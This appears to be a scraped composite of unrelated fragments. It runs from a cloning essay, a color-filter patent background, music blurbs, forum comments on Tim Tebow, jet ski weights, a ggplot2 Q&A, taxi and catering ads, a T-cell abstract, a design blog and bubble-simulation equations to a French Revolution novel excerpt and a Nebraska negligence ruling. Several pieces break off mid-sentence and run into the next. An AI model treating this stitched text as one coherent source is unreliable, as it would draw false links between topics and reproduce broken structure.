Thankfully, we want to push the boundaries of what is known because it is exciting to do that even if it is uncertain, dangerous and without obvious application. Right now the barriers to human cloning are large, and I would hope any steps in that direction be taken in a measured and open fashion. But a large step in that direction has just taken place, and more will certainly follow. Why? Because we can.
Stuart Derbyshire is an associate professor in the Department of Psychology and A*STAR-NUS Clinical Imaging Research Centre at the National University of Singapore.(1) Field of the Invention
The present invention relates to photodetectors such as image sensors, and more specifically to color filters provided to photo-cells in a photodetector.
(2) Description of the Related Art
A commonly used photodetector includes a semiconductor substrate having a plurality of photo-cells, and each photo-cell is provided with a color filter and a photodiode. There are red color filters (R), green color filters (G), and blue color filters (B) in one photodetector, and each photo-cell is assigned with a color filter having one of the three colors. The photodiodes generate signal charges responsive to the intensity of the light that has passed through the color filters. Consequently, a signal charge for light of a specific color in the incident light is generated in each photo-cell. Imaging data for one picture is generated by collecting the signal charges for the three colors generated in the photo-cells (See Japanese Laid-Open Patent Application No. H05-006986, for example).
Conventional color filters are usually manufactured by mixing acrylic resin with pigments or dyestuff of respective colors (See Japanese Laid-Open Patent Application No. H07-311310, for example).
Manufacturing the conventional color filters, however, requires a troublesome material management for the pigments or dyestuff of different colors in the manufacturing process, and this hinders the cost reduction of |
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] | ed seethes and is a big hit. A non-conformist tone with his sound and visual works. The madcap character still leaves room for pop and aesthetic creations. The choreography is perfectly in keeping with the words « I am listening »and sends us back to our very own listening. The mise en abyme, kicks in.
#7 Tame Impala
It’s time for psychedelic….The kaleidoscope is juxtaposed to a sparkling pop melody, a true explosion, just like champagne bubbles. The heightened creativity of the sixty’s is rekindled by this contemporary group (2007). The sparks are maintained through blazing colors. It inspires the same 70’s “live and let live” wind towards new impetus.20 Responses to “The New Tebow Report is Below as of 3/18 not looking good”
If Tebow’s not in a friendly NFL camp when it opens this summer, then he simply needs to go to another league, probably the A-11. I hope he realizes this. Often I’ve questioned the advice he’s getting. His own agent represented two of his nemises, Rex Ryan and Payton Manning.
I am ready to watch him in the A11 league or whatever league picks him up Even the LA Kiss. I don’t care about the NFL. I just want to watch Tim and other overlooked players play !! The NFL is so ignorant to not give this money maker, game breaker a chance. So lets move on !@!
Things are really good in my book! Timmy has been successfully working on improving his QB skills harder that any other player bar none. No doubt he is better than when Trent Dilfer did his story. The day is coming soon!
Well, it’s definitely in his lexicon. Jimmy Sexton’s still talking with them. Whether he signs with A11FL or not, there’s been a continued interest. There’s also some monster names in Football that will probably be announced pretty soon associated with the A11. I wouldn’t be at all surprised if some of them start making their own calls to Tim to sway him.
Sexton is only doing what agents do…talk…the A11 is a new opportunity for Sexton to expand his stable. The ground work is being laid for that. Relationships are being made or reinforced…that’s his business$$
There is not a team in the NFL that doesn’t know Timmy and by that I mean Sexton does not need to “Shop” him.
This started before Sexton. A11FL folks began by talking with Tim’s Family Lawyer. The man who set up and oversees the Tebow Foundation. He went over the first proposal with Tim and advised him it’s a good offer.
Then Tim went and signed with the Patriots. It’s only been since getting cut by the Pats that Jimmy Sexton has gotten involved.
My opinion…the A11FL folks have been so concerned with not putting pressure on Tim, they haven’t done an adequate job on selling him that they will build the League they’ve envisioned. The League they say they’re committed to building fits Tim perfectly in every way. Football, Mission, Life, Lifestyle, Environment, basically everything.
But the actual building of it remains to be seen. And, there’s still time. So neither Tim nor the A11FL folks have felt compelled for a make or break decision.
I quit trying to figure out what is going on. On a positive note, most of the QB moves made so far are second tier guys. We still haven’t seen Vick being picked up or Mallett being traded. Maybe some teams are sorting out what they want to do for a starting QB and Tebow is in those conversations. I find it hard to believe no one has gone to see him throw. I am getting the feeling that people are having reservations on the guys coming up in the draft. Maybe they don’t see their answer there and like what they see with Tim. Wait a minute. I said I quit trying to figure out what is going on and then go ahead and try to figure out what is going on. Man this is frustrating.
Tebow going to Washington seems unlikely to me. You already have RG III who says what he was most proud of was not having children out of wedlock. The other QB is Kirk Cousins who is a Christian. Tebow would be another Christian. Since Washington D.C. is filled with elitist liberal snobs – the thought of three Christian QB’s in the elitist of elitist cities will cause the biggest explosion on the planet since Hiroshima and Nagasaki.GPRXP Weight
I finally had a chance to measure my ski against my friends nearly stock GPR. the results are surprising and should dispell some common notions about the conversion ski's.
The test involved a 24x24 wood stand that I made, and a set of car scales. The scales were arranged so that each corner of the stand was centered on the scale. A center mark was drawn on the stand. The ski's were lowered onto the scale after they were zeroed out with the stand on them. then they were slid forwards or backwards so that each one read as close to the same as possible. Once this was done, the line from the center of the stand was copied onto the hull representing the balance point. Measurements were then taken from the end of the stock tabs to the mark.
Both ski's were 100% ready to drop in the water and ride. Both had full tanks of gas, full oil, battery, tow ropes, dry box, fire extinguisher, ect. I feel this is an accurate way of measuring these things, since manufactureres listed dry weight means nothing if you actually plan on riding.
Both were weighed with my seat. My seat is bone dry, the stock seat cover was removed and a hydroturf cover installed. The foam was not touched. The other ski's seat is original, but had some waterlog. Mine weighed 17 lbs. the other was 22 lbs.
First up is my buddies 2000 gpr. Mods are as follows:
-solas prop
-flame arrestors
-D plate
-All else 100% stock as it left the factory
Total weight 832lbs.
Balance point 48.875" from the end of the stock trim tab
Thanks Mike, Looking at the RR weight, is that where the IC, battery or exchanger is at?
also, would it be safe to say and open loop conversion is closer to a stock GPR in weight?
no. that's the stock ski. The pic of the display from the conversion was whited out by the flash the stand must have has a little twist in it because 2 opposite corners would always seem to balance out.
I think an open loop ski like yours is propably within a few pounds of mine. the aluminum mounts save 10lbs, and it all gets put back by the cooling system. yours actually may be slightly heavier because of the heavy jpipe. my entire exhaust is aluminum.Q:
How to use a solid square as the legend key in ggplot2 geom_boxplot
I am trying to use R ggplot2 package to make a boxplot.
However I can only get legend like this. Is there anyway I can change those legend key to just a solid square, instead of using those small box with central line?
The code I used is:
print(ggplot(mydata,aes(x=factor(sp),fill=factor(CommunityType),y=Abundance*100))+geom_boxplot(show_guide=FALSE)
+theme(axis.text = element_text(colour = "black",size=10))
+scale_y_continuous(" RA (%) ")+scale_x_discrete(limits=taxalist[1:5]," ")
+scale_fill_manual(name = "MY type", values = mycol[1:nmc])
+theme_bw() + guides(fill=guide_legend(title=NULL))+theme(legend.position=c(1,1),legend.justification=c(1,1))
+theme(legend.key = element_blank(),legend.key.size = unit(1.5, "lines"))
+theme( panel.grid.major = element_blank(), panel.grid.minor = element_blank(), panel.background = element_blank()) )
Sorry I cannot image here to describe my question.
A:
Here's the legend shown as simple squares, using a variant of a hack that I have seen Winston Change use here. (I am using the diamonds dataset.)
The idea is to plot geom_points (whose legend you can control, and to suppress the boxplot's legend altogether)
library(ggplot2)
p <- ggplot() + geom_point(data=diamonds, aes(x=cut, y=mean(depth), color=clarity), shape=15, size=5)
p <- p + guides(color=guide_legend(title=NULL))
p <- p + theme(legend.key = element_blank())
p <- p + geom_boxplot(data=diamonds,aes(x=cut,fill=factor(clarity),y=depth)) + guides(fill=FALSE)
p
Also |
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slider3
Welcome to the Big Fish Restaurant Group
Corporate to Casual Catering Online Ordering Services
Our online ordering system has been created to make the most of our catering services. We want to ensure that we are providing you with the very best options. Please give us a call and we will be happy to assist you.Taxis enable vacationers to focus on the beauty of The Bahamas instead of the road.
Are you looking for that unforgettable Bahamian adventure? Do you want a rewarding and culturally rich night of Bahamian style fun? Look no further. Jermaine's Taxi & Tours is your taxi & tour specialists with the lowest prices. Jermaine's Taxi & Tours aims to make sure your stay in paradise is as rewarding as it is thrilling.
Jermaine's Taxi & Tour service provides private taxi service and tours for the leisure and business traveller. With reliable, punctual, safe and efficient service. From certified and authorised drivers.
Perhaps you are looking for a culturally and educationally rich day, then journey to the dolphin sanctuary and enjoy a relaxing afternoon with the jokesters of the sea; or head out to Lucaya National Park and discover one of the most astounding underwater cave systems in the world.
Make your stay in paradise unforgettable! Plan ahead and book your tours and activities with Jermaine's Taxi & Tours and get ready to make the most of your time in the stunning and exciting Caribbean.
Jermaine's Taxi & Tours are a great way to learn about the Bahamian culture and history and see some of the popular island attractions of Cable Beach, Paradise Island, Atlantis Resort and so much more.
We provide the most reliable Airport taxi cab and tour services in the Nassau Bahama Area including: Cable Beach, Paradise Island, Atlantis Resort
Taxi & Tour Fares
All of the taxi fares are in accordance with the ministry of public works and transport. The zone rates from the airport to Paradise Island Atlantis for the conveyance of the first 2 passengers it's $32 + $1.00 for the bridge toll. Each additional passengers is $3.00 per person. Click here to view Taxi Fares rate chart for Nassau / New Providence.
Example: 4 passengers from the airport who are going to Atlantis, the fare would be $32.00 for the first two passengers & $6.00 for the additional 2 + $1.00 for the bridge toll. =$39.00 dollars.
The zone rates for the Cable Beach area also which is $18.00 for the conveyance of the first two passengers and each additional passenger is $3.00 per person.
Example: 4 passengers from the airport who are going to cable beach, the fare would be $18.00 +6= $24.00. You are also entitled to 2 carry on luggage per passengers. Each additional piece is $0.75cent. golf bags is $1.75 each.
Tour Rates.
$36.00 per person for 5 or more customers. Discounts of $5.00 off to person who use my services for round trips to & from the airport.
The tours are approximately 2 hours for a regular sightseeing tour. If you would like a combination tour which we stop at the fish fry for lunch & visit the ardastra gardens marching flamingo show which strats at 10:30am it can last up to 4 to 5 hours.Modulation of T cell activation by differential regulation of the phosphorylation of two cytosolic proteins. Implication of both Ca2+ and cyclic AMP-dependent protein kinases.
Interleukin 2 production by activated Jurkat T cells is markedly decreased by prostaglandin E2 (PGE2). The target of PGE2 action has been investigated in the present study. Among the biochemical events occurring after CD3.TCR triggering by anti-CD3 monoclonal antibody, phosphorylation of two cytosolic proteins, pp21 and pp23, was strongly inhibited by PGE2, forskolin, and 8-bromo-cAMP, whereas anti-CD3 monoclonal antibody-induced CD3.TCR modulation and Ca2+ influx were not affected. The inhibition of both pp21 and pp23 phosphorylation and interleukin 2 synthesis by PGE2 can be largely reversed by the cAMP-dependent protein kinase inhibitor, N-[2-(methylamino)-ethyl-1]-5-isoquinoline sulfonamide. Together with the demonstration of a cAMP-dependent protein kinase activity in Jurkat T cells, these results are consistent with the participation of the cAMP-dependent protein kinase mediating the inhibitory action of PGE2, probably through the inhibition of pp21 and pp23 phosphorylation. Thus, it appears that the modulation of the phosphorylation of these cytosolic proteins represents an essential step in the regulation of T lymphocyte activation.07.28.12
My friends at Legwork have released their latest reel for 2012 and it’s chock full of whoop ass. I had a chance of working with these guys maybe 4-5 years back just as they were very first starting out and turned down the chance. I’ve been kicking myself ever since. They continue to amaze me with the kind of work they are continually putting out and their star is fast on the rise here in Denver. All of it is deserved though because they work their asses off. Keep it up guys. I’ve got nothing but love.
12.07.11
I stumbled across the ‘Field Notes’ of Ian Coyle today and was thoroughly impressed by his work. Ian used to live here in Denver and was a partner at the now defunct web agency FL2. Since then he has relocated to Oregon and he has continued to do some great work since he’s been out there which you can see through his field notes.
02.14.11
French web, design and animation studio Hellohikimori has updated with another in your face website featuring jarring music and kick ass project work. They are loud, proud and unafraid to go all out when it comes to color. Their stance is attracting some big clients lately and it’s great to see them doing so well.
01.13.11
Longstanding pillar of motion design and 3D goodness, Brand New School has officially announced the release of their new website. It’s crispy and fresh as to be expected. The site employs Linked by Air and is only the fourth installation of Economy, Linked by Air’s modular content management system. A few key features were added that allow all BNS creatives to add their own personal “Bits” or images from recent projects. Another added feature allows for the background to be changed at any time.
12.22.10
Famed design personality Stefan Sagmeister has updated with a brand spanking new website just before the new year’s bells begin to chime. The site itself features a home page that shows and an overhead view of his rather cramped workspace that updates once every minute. No studio nudity so far although I am sure some is to be expected or at least some X-acto blade self mutilation. One can only hope.
10.26.10
Motion/Direction agency Not to Scale has relaunched their website and it’s an excellent example of how to keep a site simple but make it interesting via color and placement. It does a great job at showcasing the work of their top directors and it makes sorting through the content fun.
08.10.10
Brazilian design agency Pianofuzz sent in a link to their interesting work that lives within an equally interesting website. I am not entirely sure, to be totally honest, if I like their website but it is different and in a way makes you more curious about who they are and what they do.
07.30.10
London based studio Shotopop has updated both their website and portfolio with some exciting new work. Shotopop works out of a shipping container on the shore of the river Thames. They definitely position themselves in a unique fashion and I could see how working out of a shipping container would influence that mindset.
07.07.10
My Boulder based friends at Cypher 13 have relaunched their blog Joyengine. There are several options for viewing the content and they have opted for a clean and crisp design this go round along with a new logo treatment. They also have some new work in their portfolio worth looking into. Their packaging for Olade beverages and design for the Biennial of the Americas collateral are particularly sharp. The site is looking sharp boys. Congratulations.
05.07.10
Umm, geez what to say about the website ‘De 1 Up‘ other than Brazil is totally awesome and just start clicking around for what can only be described as a brain-jarring acid flashback for what I guess is a promotion for toothpaste?
03.11.10
Creative think tank and all around experimental explorers Friends With You recently updated their site. The site was built by Boulder, Colorado’s Quick Left and has a number of notable upgrades including an expanded storefront. The site presents a rich interactive experience without utilizing Flash and apparently offers up a dummy-proof CMS system that gives Friends With You the hassle-free ability to update content whenever they like. It’s a lot like what I am aiming for with the development of my new site.
03.05.10
We are currently ready for the next phase of Changethethought and are seeking to partner with a developer for relaunch of our website. We have a reasonable budget for the project but want to put a new and different kind of |
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5
] | _1} = 0.5141, \; b_{bubble_1} = 0.9926$.
- Bubble 2:\
$a_{bubble_{2}} = 0.5219, \; b_{bubble_{2}} = 0.9718$.
- Bubble 3:\
$a_{bubble_{3}} = 0.5295, \; b_{bubble_{3}} = 0.9506$.
- Bubble 4:\
$a_{bubble_{4}} = 0.5369, \; b_{bubble_{4}} = 0.9289$.
- Bubble 5:\
$a_{bubble_{5}} = 0.5443, \; b_{bubble_{5}} = 0.9067$.
- Bubble 6:\
$a_{bubble_{6}} = 0.5514, \; b_{bubble_{6}} = 0.8841$.
- Bubble 7:\
$a_{bubble_{7}} = 0.5584, \; b_{bubble_{7}} = 0.8612$.
- Bubble 8:\
$a_{bubble_{8}} = 0.5651, \; b_{bubble_{8}} = 0.8382$.
- Bubble 9:\
$a_{bubble_{9}} = 0.5717, \; b_{bubble_{9}} = 0.8154$.
- Bubble 10:\
$a_{bubble_{10}} = 0.5780, \; b_{bubble_{10}} = 0.7928$.
- Ellipse: $(x-x_{bubble_i})^2 + ((y-y_{bubble_i})*a_{bubble}/b_{bubble})^2 - a_{bubble}^2 $,\
where $(x_{bubble_i}, y_{bubble_i})$ is the origin of the $i$-th bubble.
- Computation of the far-field bubbles (level-set initialisation):
- Parameterisation of the level-set initial-function, e.g., two bubbles: $$\begin{aligned}
\phi_0(x,y) = \left\{
\begin{array}{cc}
(x - x_{bubble_1})^2 + ((y-y_{bubble_1}) \frac{a_{bubble_1}}{b_{bubble_1}})^2 - a_{bubble_1}^2 , & \\
a_x \le x \le 50 , \; a_y \le x \le b_y , & \\
(x - x_{bubble_2})^2 + ((y-y_{bubble_2}) \frac{a_{bubble_2}}{b_{bubble_2}})^2 - a_{bubble_2}^2 , & \\
50 \le x \le b_x, \; a_y \le x \le b_y , & \\
\end{array}
\right.\end{aligned}$$ where $(x_{bubble_1}, y_{bubble_1}) = (20, 50)$, $(x_{bubble_2}, y_{bubble_2}) = (80, 50)$ with the coordinates of the grid $(a_x, a_y) = (0, 0)$ and $b_x, b_y) = (100, 200)$.
The numerical results of the formation of the bubbles are given in Figures \[bubble\_coupled\_2\_init\].
The numerical results of the near-far-field coupled bubble-transport code, which is given in Figures \[bubble\_coupled\_2\] and \[bubble\_coupled\_21\].
In the experiment, we deal with at least 10 bubbles, which are different formated and transported via the level-set method. The numerical experiments allows to accelerate the formation and transport of such processes.
Bubble-Formation: Oscillation of the Air-Bubbles in the electrical-Field (first modelling approach)
---------------------------------------------------------------------------------------------------
In the following, we simulate a bubble filled with air in a electrical field, see [@sommers2012].
We have the following setting of the influenced bubble, see Figure \[bubble\_electr\_1\].
We apply the following near-field equation based on an extension of the pressure-term with an E-field.
The near-field equations are given as: $$\begin{aligned}
&& \frac{d r}{d s} = \cos(\theta) , \\
&& \frac{d z}{d s} = \sin(\theta) , \\
&& \frac{d \theta}{d s} + \frac{\sin(\theta)}{r} = \frac{\Delta p}{\alpha} , \end{aligned}$$ where $s$ is the arc length along the curve and $\theta$ the angle of elevation for its slope and $\alpha$ is the mono-layer surface tension.
Further, we have $$\begin{aligned}
&& \Delta p = p_{bubble} - p_{tube} = \rho g z - p_{tube} , \end{aligned}$$ where $p_{tube} = p_E = \frac{9}{8} |{\bf E}_0|^2 \; \sin(\theta)$ is the pressure based on the electrical field of the tube and we obtain: $$\begin{aligned}
&& \frac{d r}{d s} = \cos(\theta) , \\
&& \frac{d z}{d s} = \sin(\theta) , \\
&& \frac{d \theta}{d s} + \frac{\sin(\theta)}{r} = \frac{\rho g z - \frac{9}{8} |{\bf E}_0|^2 \; \sin(\theta)}{\alpha} .\end{aligned}$$
We apply the following parameters:
- Computation of the near-field bubbles (a representing bubble is computed)
- Input-parameters of the near-field bubbles computation:
- Bubble 1:\
$r_1(0)=0.01, \; z_1(0)=0, \; r_1(L) =0, \; L = 2, \; \frac{\Delta p_1}{\alpha_1}= 0.2$,
- Bubble 2:\
$r_2(0)=0.01, \; z_2(0)=0, \; r_2(L) =0, \; L = 2, \; \frac{\Delta p_2}{\alpha_2}= 0.4$.
- Bubble 3:\
$r_3(0)=0.01, \; z_3(0)=0, \; r_3(L) =0, \; L = 2, \; \frac{\Delta p_3}{\alpha_3}= 0.6$.
- Bubble 4:\
$r_4(0)=0.01, \; z_4(0)=0, \; r_4(L) =0, \; L = 2, \; \frac{\Delta p_4}{\alpha_4}= 0.8$.
- Bubble 5:\
$r_5(0)=0.01, \; z_5(0)=0, \; r_5(L) =0, \; L = 2, \; \frac{\Delta p_5}{\alpha_5}= 1.0$.
- Bubble 6:\
$r_6(0)=0.01, \; z_6(0)=0, \; r_6(L) =0, \; L = 2, \; \frac{\Delta p_6}{\alpha_6}= 1.2$.
- Bubble 7:\
$r_7(0)=0.01, \; z_7(0)=0, \; r_7(L) =0, \; L = 2, \; \frac{\Delta p_7}{\alpha_7}= 1.4$.
- Bubble 8:\
$r_8(0)=0.01, \; z_8(0)=0, \; r_8(L) =0, \; L = 2, \; \frac{\Delta p_8}{\alpha_8}= 1.6$.
- Bubble 9:\
$r_9(0)=0.01, \; z_9(0)=0, \; r_9(L) =0, \; L = 2, \; \frac{\Delta p_9}{\alpha_9}= 1.8$.
- Bubble 10:\
$r_{10}(0)=0.01, \; z_{10}(0)=0, \; r_{10}(L) =0, \; L = 2, \; \frac{\Delta p_{10}}{\alpha_{10}}= 2.0$.
- Electrical field parameters are given as:
$\alpha = 0.1$, $\rho = 0.1, \; g = 9.81, \; |{\bf E}_0|^2 = 0.1$.
- Output-parameters of the near-field bubble computation (formation):
- Bubble 1:\
$ |
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] | ," put in the Marquis bitterly, "the King had the cleverness on that
occasion to commit what was, from the point of view of the
revolutionists, an assault upon the National Assembly, by allowing their
meeting place to be invaded by the troops; and at the same time to
perpetrate a new assault against royalty by not preventing the rebels
from reuniting in the Tennis Court at Versailles; mistakes, mistakes,
ever more mistakes."
"All this is conclusive evidence," chimed in Barrel Mirabeau. "This
unfortunate King seems to be infatuated with folly."
"Either brace up foolish Kings or suppress them--else look out for the
safety of the monarchy, Monsieur Viscount," replied Victoria.
"Thanks to God," went on a cavalry officer at the other end of the
table, "thanks to God the King's brother, Monseigneur the Count of
Provence, rose to the emergency. At this vexatious juncture the prince
took an energetic step. Without even asking the King, he hired the
Tennis Court for a whole month!"
Victoria broke out into a peal of grim and mocking laughter. "There is a
party leader," she said, "of great bravery and great wisdom! One need go
into no ecstasies over his courage!"
"Madam the Marchioness is right," chimed in the Viscount of Mirabeau
again. "This measure had no other effect upon the rebels than to cause
them, the next day, to instal themselves in the Church of St. Louis."
"And then the clergy, or at least a part of the clergy, committed
another imbecility--they rallied to the Third Estate. The shaven-heads
have their share of responsibility in all this," said the Count of
Plouernel.
"The high clergy protested, against this treason, the blame of which
should be thrown on the curates of the country districts," declared the
Cardinal in self-defense.
"Monsieur the Cardinal is in error!" it was the harsh voice of Abbot
Morlet that broke in. "That fraction of the clergy which went over to
the Third Estate displayed great political sense. The low clergy did
just what they should have done."
"Peace, Abbot, peace there!" cried the Cardinal in accents of sovereign
scorn. "You are talking nonsense, my dear sir!"
"I maintain what I stated--'tis but little I care for the approbation of
Monsieur the Cardinal," snapped Morlet.
"What's that you say, Abbot?" flashed back the Cardinal in great
irritation. "Measure your words!"
"I wish to talk with reasonable men," returned Morlet, impassibly. "This
is addressed to you, gentlemen. The royal power having tolerated the
existence of this Assembly of malcontents, the clergy, both high and
low, should have seized upon the fact, and turned it to its own
advantage. By the simple means of choosing its best men, and joining
them to the Third Estate, it would then have been able at need to stand
in with revolutionary motions, in order to drive the dissatisfied
element to the last extremes in the paroxysms of their rage."
"Monsieur the Abbot is a profound politician; he is in the right of the
matter," assented Victoria.
"At the risk of contradicting you, Madam the Marchioness," objected the
Cardinal passionately, "I must declare that the Abbot has only once more
exhibited the evil spirit of the Society of Jesus, which has always been
a veritable pest to the Church. Our holy mother were well rid of that
abominable, execrable society!"
"So the priest is a Jesuit!" thought Victoria to herself, a light
dawning upon her.
"The true pest of the Church," retorted Abbot Morlet, "has always been
clad in the purple--cardinals and prelates, nearly all sots, imbeciles
and peacocks!"
"The impudence of this priestlet, this scoundrel, this hypocrite!" the
Cardinal cried in a fury. "Out of here with the insolent fellow!"
"By the blood of Christ," interjected Victoria quickly, addressing the
two churchmen, "is this the hour for discord and recrimination? Do you
forget, your Eminence, and you, Monsieur Abbot, that at this moment the
safety of the Church depends upon the unity of her defenders?"
All the company, with the sole exceptions of the Cardinal and the Abbot,
took up the word: "'Tis true--'tis evident! Let us not forget. Let us
remain united for the conflict!"
When the tumult had subsided, Victoria took up again her interrupted
discourse: "In casting a rapid glance over the past, I did not intend to
arouse suspicion among you or raise dissension. In pointing out the
faults committed, I wished only to forewarn you against similar errors,
and to show you how to escape new mistakes. Please, then, to give me
your attention a few minutes longer: The session in the Tennis Court was
a brutal challenge hurled in the teeth of royalty. The Queen, who is a
woman of valor, understood it; she pressed the King to take energetic
measures, and pledged him to have the National Assembly dissolved by
force. Louis XVI submitted to the influence of the Queen; on the 28th of
June he went into the heart of the Assembly, surrounded by his guards,
and through his chancellor ordered the deputies to disperse, abolished
their decrees, and annulled their deliberations. He acted the part of a
sovereign."
"His Majesty indeed displayed great courage that day, and many of the
deputies of the nobility and the clergy applauded the act of dissolution
and immediately left the chamber," declared the Duke.
"The King," assented Victoria sardonically, "his faithful nobles and his
faithful clergy left the hall. But they left the rebels behind them.
Then Abbot Sieyes sprang to the tribunal and cried 'Continue in session,
Representatives of the people! We are to-day what we were yesterday!'"
"But the King did not falter, thank God!" continued the Duke. "His
Majesty commanded the Marquis of Breze to convey to the malcontents his
orders to disperse."
"Shame and misfortune!" exclaimed the Viscount of Mirabeau. "It was my
own brother who then answered Breze, 'Go and say to your master who sent
you, that we are here by the will of the people, and that we shall never
quit this hall save by force of bayonets!'"
"Very well, Monsieur Viscount! Your brother pointed out to the royal
power its means of safety--_force of bayonets_," answered Victoria. "By
the blood of Christ, what did Louis XVI do to restore the rebels to
their senses? Absolutely nothing. Then the latter, encouraged by their
immunity from punishment, declared, in their next session, the
inviolability of the National Assembly."
"Alas, it was upon the motion of my abominable brother that that
declaration was carried! God's blood, I think I could have turned
fratricide at the moment," declared Barrel Mirabeau.
"Your house was not the only one to tremble at such felony," Victoria
replied. "Did not nearly all the deputies of the nobility, even the most
hostile to the revolution, rally around the Third Estate, dragging with
them all the clericals?"
"Should the members of the nobility, then, Madam Marchioness," objected
the Duke, "because the monarchy showed weakness, have abandoned it
without attempting to defend it from within the Assembly? No, certainly
not."
"Sir Duke," replied Victoria, "the members of the nobility and of the
clergy who remained faithful to the throne were in the minority. What
could they do for the monarchy? Nothing. Their presence among the ranks
of the rebels served only to excuse the slips of the King, for then he
could respond with a show of reason, 'I can not dissolve an Assembly
which contains so great a number of my servants.'"
"Such was, in fact, the response made by his Majesty to the Queen when
she secured the recall of Necker and the appointment of a new minister
chosen by Monsieur Broglie. Nevertheless, with the assistance of the
Marshal, the monarchy will still prove able to overcome the revolution.
At least, that is my opinion," vouchsafed the Count of Plouernel.
"May God so will it," rejoined Victoria again. "But up till now the new
minister has done nothing but make mistakes--"
Victoria was interrupted by the entrance of one of the lackeys, whom
Plouernel had dismissed from the banquet hall in order that his guests
might discuss political affairs confidentially and in safety, who said:
"The steward, my lord, asks to see you immediately."
"Let him enter," said the |
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] | PHAN, McCORMACK, and MILLER-LERMAN, JJ.
HENDRY, C.J.
INTRODUCTION
Daniel Pleiss brought a negligence action against Brian Barnes for injuries Pleiss suffered as a result of a fall from a ladder while assisting Barnes in shingling the roof of Barnes' house. A jury found in *827 favor of Barnes. Pleiss appealed, and we moved the case to our docket pursuant to our power to regulate the Nebraska Court of Appeals' caseload and that of this court. See Neb.Rev.Stat. § 24-1106(3) (Reissue 1995).
BACKGROUND
On July 1 and 2, 1995, Pleiss was assisting his friend, Barnes, in replacing roofing shingles on Barnes' house. As a means of gaining access to the roof, Barnes placed an aluminum ladder against an aluminum gutter on the house. Pleiss climbed this ladder on approximately six occasions on July 1 while working on the roof and experienced no problems using the ladder. On July 2, Pleiss climbed the ladder, which was in the same position as it had been on July 1, approximately six more times without incident. Pleiss then carried a bundle of shingles up the ladder. While placing the bundle of shingles onto the roof of the house, the ladder "flipped, twisted and started to slide," causing Pleiss to fall from the ladder. The ladder then "bounced back" into its original position. Pleiss suffered injuries to his wrist as a result.
On December 28, 1995, Pleiss filed a negligence action against Barnes. The case was tried to a jury, which found in favor of Barnes. Pleiss appealed to the Court of Appeals which, in a memorandum opinion filed on August 24, 1998, reversed, and remanded for a new trial.
At the second trial, both Barnes and Pleiss testified that they had not noticed or experienced any problems with twisting or sliding of the ladder until Pleiss' fall. Pleiss testified that he had observed other people using ladders and that he was aware that one of the risks of climbing a ladder was that it could "get shaky and fall down." However, he had never experienced twisting or sliding of a ladder until the incident on July 2, 1995.
Barnes testified that he had received some safety training regarding the use of ladders through his employment. As part of that training, Barnes learned that ladders were to be "tied down" or secured in some manner while in use. Barnes testified that although he often tied down ladders at work, he did not tie down ladders when using them at his house. Barnes testified that he felt the ladder in use at his house on July 1 and 2, 1995, was safe. However, Barnes also admitted that placing an aluminum ladder against an aluminum gutter may create an environment where the ladder might "flip out and slide." At the close of all the evidence, Pleiss made a motion for directed verdict, which was overruled.
At the jury instruction conference, Pleiss requested an instruction explaining the effect of the allocation of negligence, in accordance with Neb.Rev.Stat. § 25-21,185.09 (Reissue 1995), and our decision in Wheeler v. Bagley, 254 Neb. 232, 575 N.W.2d 616 (1998). The court determined that the information regarding the effect of the allocation of negligence was already included as part of instruction No. 15, which explained the verdict forms. Pleiss' proposed instruction was not given.
Pleiss objected to instruction No. 2 on the basis that it did not include Pleiss' allegation that Barnes was negligent in placing the ladder in an unsafe position. The court determined that the only allegation of negligence that the jury need be instructed on was Pleiss' allegation that Barnes was negligent in failing to tie down the ladder.
Pleiss also objected to the instruction on the defense of assumption of risk. Pleiss claimed that the assumption of risk doctrine is unconstitutional and that there was insufficient evidence to support that instruction. The objection was overruled, and the instruction on assumption of risk was given.
During its deliberations, the jury presented questions to the court regarding the jury instructions. The court answered the jury's questions in the presence of counsel for both parties without having the proceedings recorded. Pleiss' counsel had requested that the proceedings be recorded, but no court reporter was available.
*828 The jury found in favor of Barnes. Pleiss now appeals.
ASSIGNMENTS OF ERROR
Pleiss claims, rephrased and summarized, that the trial court erred in (1) failing to fully instruct the jury as to the allocation of negligence in accordance with § 25-21,185.09, (2) giving an instruction on assumption of risk, (3) refusing to instruct the jury on each allegation of negligence pled and supported by evidence adduced at trial, (4) failing to make a record of the proceeding during which jurors asked questions of the court regarding the jury instructions, and (5) overruling Pleiss' motion for directed verdict requesting that the court find Barnes negligent as a matter of law.
STANDARD OF REVIEW
Whether a jury instruction given by a trial court is correct is a question of law. McLain v. Ortmeier, 259 Neb. 750, 612 N.W.2d 217 (2000). When reviewing questions of law, an appellate court has an obligation to resolve the question independently of the conclusion reached by the trial court. Doksansky v. Norwest Bank Neb., 260 Neb. 100, 615 N.W.2d 104 (2000).
In reviewing a claim of prejudice from instructions given or refused, the instructions must be read together, and if, taken as a whole, they correctly state the law, are not misleading, and adequately cover the issues supported by the pleadings and evidence, there is no prejudicial error necessitating reversal. Jameson v. Liquid Controls Corp., 260 Neb. 489, 618 N.W.2d 637 (2000).
ANALYSIS
INSTRUCTION REGARDING ALLOCATION OF NEGLIGENCE
Pleiss claims the trial court erred in failing to fully instruct the jury on the effect of the allocation of negligence as required by § 25-21,185.09. Section 25-21,185.09 provides that in cases involving contributory negligence, the jury "shall be instructed on the effects of the allocation of negligence." The trial court determined that this information was included in instruction No. 15, which explained which verdict forms to fill out based on the allocations of negligence. The trial court refused to give the instruction requested by Pleiss.
To establish reversible error from a court's failure to give a requested instruction, an appellant has the burden of showing that (1) the tendered instruction is a correct statement of the law, (2) the tendered instruction is warranted by the evidence, and (3) the appellant was prejudiced by the court's failure to give the tendered instruction. Streeks v. Diamond Hill Farms, 258 Neb. 581, 605 N.W.2d 110 (2000). Pleiss' tendered instruction is a correct statement of the law. In Wheeler v. Bagley, 254 Neb. 232, 575 N.W.2d 616 (1998), this court offered a suggested instruction to the bar and trial courts as a guideline to be utilized in single-defendant negligence cases to inform the jury about the effect of the allocation of negligence as required by § 25-21,185.09. The present case is a single-defendant negligence case, and the instruction proposed by Pleiss and refused by the trial court is nearly identical to the instruction suggested by this court in Wheeler.
In Wheeler, 254 Neb. at 241, 575 N.W.2d at 621, this court held that "failure to instruct a jury with respect to the effects of its allocation of negligence in accordance with § 25-21,185.09 is prejudicial error." We further determined that a verdict form is not a substitute for a proper instruction and that the verdict form utilized in Wheeler did not adequately convey the effects of the allocation of negligence in any event. Id.
In the present case, the trial court determined that the information explaining the effect of the allocation of negligence was included as part of instruction No. 15. Instruction No. 15 provides in part, "If you find that the Plaintiff has not met his burden of proof you should complete Verdict *829 Form No. 1 and advise the Bailiff you have reached a verdict and go no further."
